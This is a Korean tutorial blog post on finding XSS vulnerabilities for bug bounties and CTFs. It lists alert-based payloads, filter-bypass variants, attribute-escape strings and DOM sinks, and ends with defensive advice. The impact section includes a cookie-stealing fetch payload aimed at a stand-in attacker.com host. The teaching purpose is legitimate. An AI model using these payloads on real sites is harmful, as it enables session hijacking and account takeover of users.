XSS 헌팅: 기초부터 버그 바운티까지
크로스 사이트 스크립팅(XSS)은 오늘날 웹 애플리케이션에서 가장 흔한 취약점 중 하나로 남아 있다. 수십 년 전부터 알려진 취약점임에도 개발자들이 같은 실수를 계속 반복하기 때문에, XSS 헌팅은 버그 바운티 헌터와 CTF 플레이어 모두에게 수익성 높은 스킬이다.
XSS란?
XSS는 공격자가 악성 JavaScript를 웹 페이지에 주입해서 다른 사용자의 브라우저에서 실행될 때 발생한다. 사용자 입력이 페이지에 표시되기 전에 제대로 정제되지 않을 때 일어난다. 영향 범위는 쿠키 탈취부터 완전한 계정 탈취까지 다양하다.
세 가지 주요 유형이 있다:
Reflected XSS: 페이로드가 응답에 즉시 반사된다. 검색창과 에러 메시지에서 흔하다.
Stored XSS: 페이로드가 데이터베이스에 저장되어 누군가가 그 데이터를 볼 때마다 실행된다. 댓글 섹션이나 사용자 프로필을 떠올려라.
DOM 기반 XSS: 취약점이 클라이언트 사이드 JavaScript 자체에 존재하며, 페이지가 사용자 제어 데이터로 DOM을 동적으로 업데이트한다.
첫 XSS 찾기
간단하게 시작하라. 사용자 입력이 페이지에 나타나는 모든 곳을 찾아라. 흔한 위치:
- 검색 기능
- 로그인 에러 메시지
- 사용자 프로필과 바이오
- 댓글 섹션
- 페이지에 표시되는 URL 파라미터
- 파일 업로드 이름
- 커스텀 에러 페이지
클래식 페이로드로 시작하라: <script>alert(1)</script>
필터링된다면 변형을 시도하라:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
javascript:alert(1)
<iframe src="javascript:alert(1)">
필터 우회
실제 애플리케이션에는 필터가 있다. 여기서 창의성이 중요하다.
대소문자 변형: 일부 필터는 소문자만 확인한다. <ScRiPt>alert(1)</sCrIpT> 시도
인코딩 트릭: HTML 엔티티, 유니코드, URL 인코딩 사용:
<script>alert(1)</script>
\u003cscript\u003ealert(1)\u003c/script\u003e
%3Cscript%3Ealert(1)%3C/script%3E
이벤트 핸들러: 스크립트 태그가 차단되면 수십 개의 HTML 이벤트가 JavaScript를 실행할 수 있다:
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
속성 탈출: 입력이 HTML 속성 안에 들어간다면 먼저 닫아라:
" onmouseover=alert(1) //
' onfocus=alert(1) autofocus='
대안 문자열 사용: 괄호가 차단되면 템플릿 리터럴 사용:
<script>alert`1`</script>
DOM 기반 XSS
이것은 취약점이 JavaScript 자체에 있기 때문에 다른 접근이 필요하다. 다음 코드를 찾아라:
document.write(location.hash);
element.innerHTML = userInput;
eval(userInput);
페이지 소스에서 다음을 확인하라:
innerHTMLdocument.writeeval()- 문자열 인자를 받는
setTimeout() location.href할당
URL 프래그먼트(#payload), 쿼리 파라미터, JavaScript가 읽어서 페이지를 수정하는 모든 데이터를 퍼징하라.
테스팅 도구
브라우저 DevTools: 첫 번째 방어선이다. 콘솔의 에러를 확인하고 Elements 탭으로 입력이 어떻게 렌더링되는지 확인하라.
Burp Suite: 요청을 가로채서 파라미터를 수정한다. Intruder 기능으로 페이로드 퍼징을 자동화할 수 있다.
XSS Hunter: 블라인드 XSS를 캡처한다. 본인 서버로 콜백하는 페이로드를 설정하면, 즉시 실행을 볼 수 없는 Stored XSS에 유용하다.
브라우저 확장: XSS Validator, Hackbar, 커스텀 북마클릿이 테스팅 속도를 높여준다.
실전 예시
example.com/search?q=test에서 검색 기능을 발견했다. 검색어가 결과에 나타난다: "Results for: test"
시도: example.com/search?q=<script>alert(1)</script>
필터링되면 HTML 소스를 살펴보라. 이렇게 생겼을 수 있다:
<div>Results for: <script>alert(1)</script></div>
꺾쇠 괄호가 인코딩되어 있다. 하지만 입력이 속성 안에도 들어간다면?
<input type="text" value="your_input" />
시도: example.com/search?q=" onfocus=alert(1) autofocus="
결과:
<input type="text" value="" onfocus=alert(1) autofocus="" />
성공! 속성에서 탈출해서 자체 이벤트를 주입했다.
실제 임팩트
CTF에서 XSS는 종종 쿠키 탈취(관리자 봇이 링크를 방문)나 클라이언트 사이드 검증 우회로 이어진다. 버그 바운티에서는 실제 임팩트를 증명하라:
- 세션 쿠키 탈취:
<script>fetch('https://attacker.com?c='+document.cookie)</script> - 민감한 페이지에서 키 입력 캡처
- 피해자로서 작업 수행 (비밀번호 변경, 돈 이체)
- 페이지 변조
- 피싱 사이트로 리다이렉트
항상 권한이 있는 타깃에서 테스트하고 책임 있는 공개를 따르라.
개발자를 위한 방어
방어 측이라면:
- 출력을 제대로 인코딩하라 (HTML 컨텍스트에는 HTML 엔티티, JS 컨텍스트에는 JavaScript 이스케이핑)
- Content Security Policy 헤더 사용
- 쿠키에 HTTPOnly 플래그 설정
- 입력 유효성 검사 (블랙리스트보다 화이트리스트가 낫다)
- 기본적으로 자동 이스케이핑하는 현대 프레임워크 사용 (React, Vue)
마치며
XSS 헌팅은 예술과 과학의 결합이다. 브라우저가 HTML을 파싱하는 방식과 애플리케이션이 입력을 처리하는 방식 둘 다 이해해야 한다. 간단한 페이로드로 시작하고, 필터가 어떻게 동작하는지 연구하고, 우회 기법을 쌓아가라.
모든 애플리케이션이 다르기 때문에 페이로드 컬렉션을 유지하고 각 타깃에 맞게 수정하라. 연습할수록 취약한 패턴을 더 빠르게 발견하게 된다. CTF 플래그를 위해서든 버그 바운티를 위해서든, XSS 스킬은 2026년에도 여전히 가치 있다.
해피 헌팅!